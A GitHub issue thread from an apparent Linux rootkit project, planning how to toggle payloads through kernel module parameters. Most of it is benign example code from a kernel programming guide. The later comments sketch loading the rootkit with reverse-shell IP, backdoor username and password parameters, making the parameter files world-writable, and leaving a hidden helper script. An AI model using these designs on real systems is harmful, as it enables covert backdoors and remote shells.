alichtman / gardening-starter-pack

Literally a rootkit. (LKM for Linux Kernels 4.14+)
GNU General Public License v3.0
1 stars 0 forks source link

Add interface for enabling different payloads #5

Closed alichtman closed 5 years ago

alichtman commented 5 years ago

A variety of payloads will be included in this rootkit. We want these to be toggled on or off, so there needs to be some way to listen for commands. Some of this we can do with module_param() / module_param_array() / module_param_string() as described in the Linux Kernel Module Programmer's Guide. Relevant excerpts below.

To allow arguments to be passed to your module, declare the variables that will take the values of the command line arguments as global and then use the module_param() macro, (defined in linux/moduleparam.h) to set the mechanism up. At runtime, insmod will fill the variables with any command line arguments that are given, like ./insmod mymodule.ko myvariable=5

// Example: Pass int
int myint = 3;
// Takes 3 arguments: the name of the variable, its type and permissions for the corresponding file in sysfs.
module_param(myint, int, 0);

// Example: Pass array
int myintarray[2];
module_param_array(myintarray, int, NULL, 0); /* not interested in count */

MODULE_PARM_DESC() should be used to document arguments that the module can take. It takes two parameters: a variable name and a string description.

alichtman commented 5 years ago

A longer example:

/*
 *  hello-5.c - Demonstrates command line argument passing to a module.
 */
#include <linux/module.h>
#include <linux/moduleparam.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/stat.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Peter Jay Salzman");

static short int myshort = 1;
static int myint = 420;
static long int mylong = 9999;
static char *mystring = "blah";
static int myintArray[2] = { -1, -1 };
static int arr_argc = 0;

/* 
 * module_param(foo, int, 0000)
 * The first param is the parameters name
 * The second param is it's data type
 * The final argument is the permissions bits, 
 * for exposing parameters in sysfs (if non-zero) at a later stage.
 */

module_param(myshort, short, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP);
MODULE_PARM_DESC(myshort, "A short integer");
module_param(myint, int, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
MODULE_PARM_DESC(myint, "An integer");
module_param(mylong, long, S_IRUSR);
MODULE_PARM_DESC(mylong, "A long integer");
module_param(mystring, charp, 0000);
MODULE_PARM_DESC(mystring, "A character string");

/*
 * module_param_array(name, type, num, perm);
 * The first param is the parameter's (in this case the array's) name
 * The second param is the data type of the elements of the array
 * The third argument is a pointer to the variable that will store the number 
 * of elements of the array initialized by the user at module loading time
 * The fourth argument is the permission bits
 */
module_param_array(myintArray, int, &arr_argc, 0000);
MODULE_PARM_DESC(myintArray, "An array of integers");

static int __init hello_5_init(void)
{
    int i;
    printk(KERN_INFO "Hello, world 5\n=============\n");
    printk(KERN_INFO "myshort is a short integer: %hd\n", myshort);
    printk(KERN_INFO "myint is an integer: %d\n", myint);
    printk(KERN_INFO "mylong is a long integer: %ld\n", mylong);
    printk(KERN_INFO "mystring is a string: %s\n", mystring);
    for (i = 0; i < (sizeof myintArray / sizeof (int)); i++)
    {
        printk(KERN_INFO "myintArray[%d] = %d\n", i, myintArray[i]);
    }
    printk(KERN_INFO "got %d arguments for myintArray.\n", arr_argc);
    return 0;
}

static void __exit hello_5_exit(void)
{
    printk(KERN_INFO "Goodbye, world 5\n");
}

module_init(hello_5_init);
module_exit(hello_5_exit);

And corresponding output:

satan# insmod hello-5.ko mystring="bebop" mybyte=255 myintArray=-1
mybyte is an 8 bit integer: 255
myshort is a short integer: 1
myint is an integer: 20
mylong is a long integer: 9999
mystring is a string: bebop
myintArray is -1 and 420

satan# rmmod hello-5
Goodbye, world 5

satan# insmod hello-5.ko mystring="supercalifragilisticexpialidocious" \
> mybyte=256 myintArray=-1,-1
mybyte is an 8 bit integer: 0
myshort is a short integer: 1
myint is an integer: 20
mylong is a long integer: 9999
mystring is a string: supercalifragilisticexpialidocious
myintArray is -1 and -1

satan# rmmod hello-5
Goodbye, world 5

satan# insmod hello-5.ko mylong=hello
hello-5.o: invalid argument syntax for mylong: 'h'
alichtman commented 5 years ago

Important to modularize the best we can. Add something like the Q&A system I built for stronghold or shallow-backup for enabling modules during the build process.

alichtman commented 5 years ago

Implementation

Collect any necessary information in the setup.py script. Pass info to rootkit through parameters, like demonstrated above, when we're loading the kernel module in.

$ insmod rootkit.ko REVERSE_SHELL_IP="<IP>" BACKDOOR_USER="<USER>" BACKDOOR_PASS="<PASSWORD>", and so on.

NOTE: We really shouldn't use any external libraries in this python script.

alichtman commented 5 years ago

WIP in #20.

Current issues left to solve are:

  1. OS locks up when depmod command is run.
  2. Param variable files must be created with the last byte of the permissions as a “0”, meaning that random users can’t read these files. We’ll have to run a chmod o+rw command on each of the created files after the module is loaded, in setup.py.

And then we can leave a hidden helper script in python that turns reverse_shell_ip <IP> to echo "<IP> > /sys/module/garden/parameters/reverse_shell_ip, etc.